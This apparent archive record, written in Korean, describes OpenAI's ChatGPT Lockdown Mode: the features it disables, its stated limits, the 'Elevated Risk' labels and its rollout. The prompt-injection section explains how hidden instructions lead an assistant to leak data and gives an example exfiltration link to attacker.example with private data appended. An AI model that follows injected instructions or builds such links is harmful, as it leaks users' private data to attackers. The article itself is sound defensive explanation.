ChatGPT 잠금 모드: OpenAI가 프롬프트 인젝션을 무력화하기 위해 만든 설정

2026년 2월 13일 OpenAI는 Lockdown Mode를 발표했다. 이는 ChatGPT의 선택적 설정으로, 어시스턴트가 네트워크로 내보낼 수 있는 내용을 제한하므로 프롬프트 주입 공격이 탈취한 데이터를 외부로 빼낼 경로가 없다. 브라우징은 캐시된 콘텐츠로 제한되고, 실시간 요청은 OpenAI의 통제된 네트워크를 벗어나지 않으며, 안전성에 대한 결정론적 보장을 제공할 수 없는 기능은 필터링되는 대신 차단된다. 이 기능은 ChatGPT Enterprise, ChatGPT Edu, ChatGPT for Healthcare 및 ChatGPT for Teachers에 먼저 출시되었고, 워크스페이스 관리자가 활성화하며, 소비자에게는 "향후 몇 달 안에" 접근 권한을 약속했다 — 같은 OpenAI 페이지에는 이 약속이 2026년 6월 4일에 지켜진 것으로 기록되어 있다. 침해, 피해자 또는 데이터 손실은 연결되지 않는다. AI Incident Archive는 이를 신뢰도 등급 A의 정보 심각도 정책 기록으로 분류한다. 이 기록의 인용 목록과 그 앞뒤로 제출된 거버넌스 항목은 Orca AI Incident Archive에 보관되어 있으며, 이 아카이브는 원본 OpenAI 발표문도 링크한다.

Lockdown Mode가 비활성화하는 항목

OpenAI는 Lockdown Mode를 "경영진이나 저명한 조직의 보안 팀처럼 고도 위협에 대한 보호 강화가 필요한, 보안에 극도로 민감한 소수의 사용자"를 위한 설정이라고 규정하며, "대부분의 사용자에게는 필요하지 않다"고 분명히 밝힌다. 이 기능이 하는 일은 기능을 줄이는 것이다. 아래 목록은 OpenAI가 직접 정리한 것으로, 발표문과 그 발표문이 링크한 Lockdown Mode 도움말 센터 문서에서 가져온 것이다.

• 실시간 웹 브라우징. 브라우징은 캐시된 콘텐츠로 제한되므로 실제 네트워크 요청은 OpenAI의 통제된 네트워크를 벗어나지 않습니다. 검색 결과는 "제한적이거나, 사용할 수 없거나, 오래된 것일 수 있습니다."

• 이미지 지원.ChatGPT는 일반 응답에서 이미지를 표시하지 못하거나 웹에서 이미지를 가져오지 못할 수 있습니다. 이미지 파일 업로드는 계속 작동하며, 이미지 생성 기능은 원래 사용 가능한 경우 계속 제공됩니다.

• Deep Research. 비활성화되었습니다. OpenAI의 6월 4일 업데이트에 따르면 여기에는 쇼핑 리서치가 포함됩니다.

• Agent Mode가 비활성화되었습니다.

• Canvas 네트워킹. 사용자는 Canvas에서 생성된 코드가 네트워크에 접근하도록 승인할 수 없습니다.

• 파일 다운로드. ChatGPT는 데이터 분석을 위해 파일을 다운로드할 수 없습니다. 사용자가 직접 업로드한 파일은 여전히 작업할 수 있습니다.

• 실시간 커넥터 및 앱 쓰기 작업. 개인 및 셀프서비스 Business 계정에서는 도움말 센터 문서에 따르면, 외부 서비스에 대한 실시간 액세스와 앱 쓰기 작업은 해당 모드의 보호 장치와 충돌하는 경우 차단되며, "ChatGPT의 금융 및 쇼핑 에이전트 경험"은 사용할 수 없다고 합니다.

Lockdown Mode가 명시적으로 건드리지 않는 세 가지: 메모리, 파일 업로드, 그리고 대화가 모델 개선에 사용될 수 있는지 여부입니다. 또한 OpenAI의 코딩 어시스턴트인 Codex의 네트워크 액세스에도 영향을 주지 않습니다 — 이 점은 기억해 둘 만합니다. Codex가 이 발표의 후반부를 담당하는 제품 중 하나이기 때문입니다.

그 공격은 굶주리게 하기 위해 설계되었다.

프롬프트 인젝션은 공격 유형입니다. 제3자가 모델이 읽게 될 콘텐츠(웹 페이지, PDF, 공유 문서)에 지시를 숨기면, 모델은 그 지시를 정당한 것으로 받아들여 실행하거나 대화 내용을 공개합니다. OpenAI가 이 위험을 설명한 바에 따르면, 공격자는 "대화형 AI 시스템을 오도하여 악성 지시를 따르게 하거나 민감한 정보를 공개하게 하려고" 시도합니다. 연결된 어시스턴트에서는 페이로드가 교묘할 필요가 없고, 외부로 나가는 경로만 있으면 됩니다. 다음과 같이 조작된 링크 attacker.example/collect?data= 뒤에 비공개 데이터가 붙기만 하면 충분합니다. 그 데이터가 공격자의 서버 로그에 남고 채팅에는 의심스러운 흔적이 전혀 나타나지 않기 때문입니다.

대부분의 방어 체계는 모델이 명령을 따르지 못하게 막으려 한다. Lockdown Mode는 그렇지 않다. 대신 외부로 나가는 경로를 제거한다. OpenAI가 계속 "deterministic"이라는 단어를 쓰는 이유가 여기에 있다. 제한은 모델의 판단이 아니라 제품의 내부 구조에 의해 강제되므로, 논쟁에서 이기는 페이로드라도 그 승리를 보낼 곳이 없기 때문이다. 발표문 자체의 표현대로, Lockdown Mode는 "공격자가 민감한 데이터를 유출하기 위해 악용할 수 있는 ChatGPT의 특정 도구와 기능을 결정론적으로 비활성화"한다.

OpenAI가 주장하지 않는 것

한도는 OpenAI가 추출한 것이 아니라 직접 명시한 것이며, 이는 기능 목록보다 더 중요합니다. 도움말 센터 문서에 따르면 Lockdown Mode는 "ChatGPT가 처리하는 콘텐츠에 프롬프트 인젝션이 나타나는 것을 막지 못하며", 그 예시를 직접 제시합니다. 캐시된 웹 콘텐츠나 업로드된 파일에 있는 인젝션은 "여전히 응답의 동작이나 정확성에 영향을 미칠 수 있다"는 것입니다. 인젝션은 여전히 침투합니다. 닫히는 것은 출구뿐입니다.

OpenAI는 보증에 관해 질문을 받고 업계 전문지에 자사가 보장하지 않는 것이 무엇인지 밝혔다. “Lockdown Mode는 프롬프트 인젝션 기반 데이터 유출 위험을 실질적으로 줄이도록 설계되었지만, 데이터 유출이 발생할 수 없다고 보장하지는 않습니다”라고 회사는 말하며, “활성화된 앱, 예상치 못한 기능 조합 또는 새로 발견된 기법을 통해 위험이 남아 있을 수 있습니다”라고 덧붙였다(The Next Web, 2026년 6월 7일 보도). 앱은 눈에 띄는 허점이다. 관리형 워크스페이스에서 Lockdown Mode는 “모든 앱을 자동으로 비활성화하지는 않으며”, 도움말 센터는 관리자들에게 신뢰할 수 없는 앱의 읽기 또는 쓰기 작업은 “권장되지 않는다”고 조언하고, 부작용이 악의적인 행위자로부터 숨겨진다는 점을 확인할 수 없는 신뢰할 수 있는 앱의 경우에도 쓰기 작업은 피해야 한다고 조언한다.

‘상승된 위험’ 라벨, 그리고 그것이 아닌 것

2월 13일 발표의 후반부는 통제가 아니라 라벨링 변경입니다. OpenAI는 해결되지 않은 네트워크 위험을 수반하는 기존 기능의 "짧은 목록"에 대한 문구를 표준화하여, 동일한 "상승된 위험" 라벨이 ChatGPT, ChatGPT Atlas, Codex 전반에 표시되도록 했습니다. 회사 측의 주장은 사용자가 동일한 기능을 접하는 곳마다 동일한 안내를 받아야 한다는 것입니다. 대표적인 예는 Codex입니다. 문서를 조회하기 위해 코딩 지원 도구에 네트워크 접근 권한을 부여하는 개발자는 이제 설정 화면에서 도메인 허용 목록과 허용된 HTTP 메서드 옆에 해당 라벨을 보게 되며, 무엇이 변경되는지와 언제 이러한 접근이 적절한지에 대한 설명도 함께 표시됩니다.

이 라벨은 경고이지 잠금 장치가 아니다. 사용자가 이를 수락하면 해당 기능은 여전히 실행된다. OpenAI는 자체적인 만료 조건도 설정했다. 즉 "보안 발전이 일반 사용에 대한 해당 위험을 충분히 완화했다고 판단하면 'Elevated Risk' 라벨을 제거할 것"이며, 어떤 기능에 이 라벨이 붙는지도 계속 바꿀 것이다. 이는 그 목록이 회사가 현재 기본적으로 안전하지 않다고 간주하는 것들의 스냅샷임을 이례적으로 분명하게 인정한 것이다.

엔터프라이즈 역할에서 설정 토글로

2월 릴리스는 엔터프라이즈 전용이었으며, 사용자가 선택한 것이 아니라 관리자가 적용했습니다. ChatGPT Enterprise, Edu, Healthcare용 및 Teachers용의 관리자는 Workspace Settings에서 새 역할을 생성해 이를 활성화했고, 이는 워크스페이스가 이미 적용하던 제한 위에 추가 제한을 중첩했습니다. 관리자는 세밀한 제어 권한을 유지하며 어떤 앱과 그 앱 내의 어떤 특정 작업이 계속 사용 가능할지 정확히 선택할 수 있었습니다. 이는 OpenAI가 "일부 핵심 워크플로는 앱에 의존한다"고 언급하며 설명한 양보였습니다. 이 모드와 별도로, Compliance API Logs Platform은 관리자에게 앱 사용, 공유 데이터, 연결된 소스에 대한 가시성을 제공합니다.

소비자 약속은 2026년 6월 4일 OpenAI가 같은 발표 페이지 상단에 업데이트 노트를 추가하면서 지켜졌다. 잠금 모드(Lockdown Mode)가 "개인 ChatGPT 계정과 셀프서비스 ChatGPT Business 계정 모두"에 순차 적용 중이며, 설정에서 사용할 수 있고, 제한 목록에는 실시간 웹 접속, 응답 내 이미지 지원, 쇼핑 리서치를 포함한 Deep Research, Agent Mode, Canvas 네트워킹, 라이브 커넥터, 파일 다운로드가 다시 명시되었다. PCMag는 2026년 6월 6일, The Next Web은 2026년 6월 7일 이번 롤아웃을 보도했으며, 2월 18일자 2월 발표를 다뤘던 The Cyber Express는 6월 후속 기사에서 이 설정이 Free, Go, Plus, Pro 계정에 도달했다고 언급했다. The Next Web의 기사는 OpenAI 게시물에는 없는 두 가지 운영상 세부 사항을 덧붙인다. 잠금 모드와 개발자 모드(Developer Mode)는 동시에 활성화할 수 없으며, OpenAI는 이와 함께 별도의 세션 관리 기능을 출시해 사용자가 활성 세션을 검토하고 개별 기기에서 로그아웃할 수 있게 했다.

여기서 무엇이 확립되어 있고, 무엇이 확립되어 있지 않습니까?

모드가 작동하는 방식에 관한 위의 모든 내용은 같은 게시물을 바탕으로 작업한 매체들이 다시 전한 OpenAI 자체의 설명입니다. 2026년 2월 17일 eWeek, 2026년 2월 18일 The Cyber Express, 그리고 ZDNet Japan과 Techlusive를 포함한 여러 지역 기술 매체의 2월 보도는 이 기능을 정확하게 설명하지만 독립적인 테스트를 추가하지는 않습니다. 이 글을 위해 검토한 보도 중 Lockdown Mode를 무력화하려 시도했다고 보고한 곳은 없으며, 발표 자체도 외부 보안 평가를 인용하지 않습니다. 이는 기록이 알려줄 수 있는 범위에 한계가 있음을 뜻합니다. 아카이브의 신뢰도 등급 A는 사건이 얼마나 잘 문서화되었고 1차 출처들이 얼마나 일치하는지를 나타내는 것이지, 그 통제가 얼마나 잘 작동하는지를 나타내는 것은 아닙니다.

이 기록에는 실제 피해도 담겨 있지 않다. 이는 사건이 아니라 정책 항목이다. 피해자로 지목된 조직도 없고, 유출로 집계된 것도 없으며, 특정 공격이 이번 발표를 촉발했다는 점을 뒷받침하는 내용도 없다. OpenAI는 Lockdown Mode를 공개된 침해 사고에 대한 대응이라기보다 기존 보호 조치 — 샌드박싱, URL 기반 데이터 유출 방어, 모니터링 및 시행, 역할 기반 접근 및 감사 로그 — 에 추가하는 기능으로 제시한다.

이 기능이 무엇을 의미하는지에 대한 논쟁이 현재 진행 중이며, 이는 논쟁으로 표시되어야 한다. The Cyber Express는 6월 분석 기사에서 Lockdown Mode의 존재가 곧 ChatGPT가 기본 설정 상태에서 "충분히 단호한 데이터 유출 공격에 대해 견고한 보호를 제공하지 않는다"는 점을 인정하는 것인지라는 질문을 제기했고, OpenAI가 "이에 대해 이견을 제시하지 않는 것으로 보인다"고 답했다 — 이 모드를 주입 방지용이라기보다 "최후의 방어선 통제"로 해석하면서. 그것은 한 칼럼니스트의 해석이며, OpenAI 자체의 문구는 그중 사실에 해당하는 부분을 뒷받침하지만 그러한 인정은 하지 않는다. 아카이브는 이 기록을 논쟁 중인 것으로 표시하지 않으며, 사실상 그것은 논쟁 중이 아니다: 의견 불일치는 프레이밍에 관한 것이지, 그 설정이 하는 일에 관한 것이 아니다.

독자가 누구도 신뢰하지 않고 확인할 수 있는 부분은 작지만 실재한다. 해당 설정은 계정의 보안 제어 항목에 나타나거나 나타나지 않으며, 제한 목록은 OpenAI의 설명과 일치하거나 일치하지 않는다. 외부에서 확인할 수 없는 부분이 가장 중요하다. 결정론적 제한이 실제로 시도하는 적대자에 맞서 유지되는지, 그리고 관리자가 활성화된 채로 남겨 둔 앱과 작업이 이 모드가 막기 위해 만들어진 경로를 다시 열지 않는지다. 활성화된 앱, 예상치 못한 기능 조합, 새로 발견된 기법을 통해 위험이 남을 수 있다는 OpenAI 자신의 단서가 바로 그 상황에 대한 정직한 요약이다.